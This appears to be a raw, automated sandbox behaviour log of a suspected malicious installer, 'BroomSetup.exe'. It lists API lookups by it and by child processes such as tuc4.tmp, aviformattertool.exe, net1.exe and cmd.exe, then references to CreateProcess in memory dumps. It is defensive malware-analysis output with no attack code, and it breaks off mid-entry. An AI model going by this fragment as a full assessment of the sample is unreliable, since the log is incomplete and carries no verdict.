(UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SHGetFileInfoW (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter SetLayout (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter UpdateLayeredWindow (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter AlphaBlend (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter GetDpiForMonitor (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter BeginBufferedPaint (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter EndBufferedPaint (UID: 00000000-00008552) "BroomSetup.exe" called "GetProcAddress" with a parameter BufferedPaintSetAlpha (UID: 00000000-00008552) "tuc4.tmp" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SetDllDirectoryW (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeIntList (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SHCreateItemFromParsingName (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SHPathPrepareForWriteA (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter VerSetConditionMask (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter VerifyVersionInfoW (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetSystemWow64DirectoryA (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter RegDeleteKeyExA (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter DisableProcessWindowsGhosting (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonDestroy (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter ShutdownBlockReasonCreate (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter inflateInit_ (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter inflate (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter inflateEnd (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter inflateReset (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter ISCryptGetVersion (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter ArcFourInit (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter ArcFourCrypt (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter WNetCloseEnum (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter ChangeWindowMessageFilterEx (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter MonitorFromRect (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SHAutoComplete (UID: 00000000-00001444) "tuc4.tmp" called "GetProcAddress" with a parameter SfcIsFileProtected (UID: 00000000-00001444) "aviformattertool.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00005060) "aviformattertool.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00005060) "net1.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007576) "net1.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007576) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008532) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008532)3f:T4a8,Found reference to API "CreateProcess" (Indicator: "CreateProcess"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "CreateProcess failed (%d)." (Indicator: "CreateProcess"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "CreateProcess failed (%d)." (Indicator: "CreateProcess"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "8109095088,7264,3141,,CreateProcessA,kernel32.dll,"00:28:21.890",RX=0,PX=0" (Indicator: "CreateProcess"; Source: 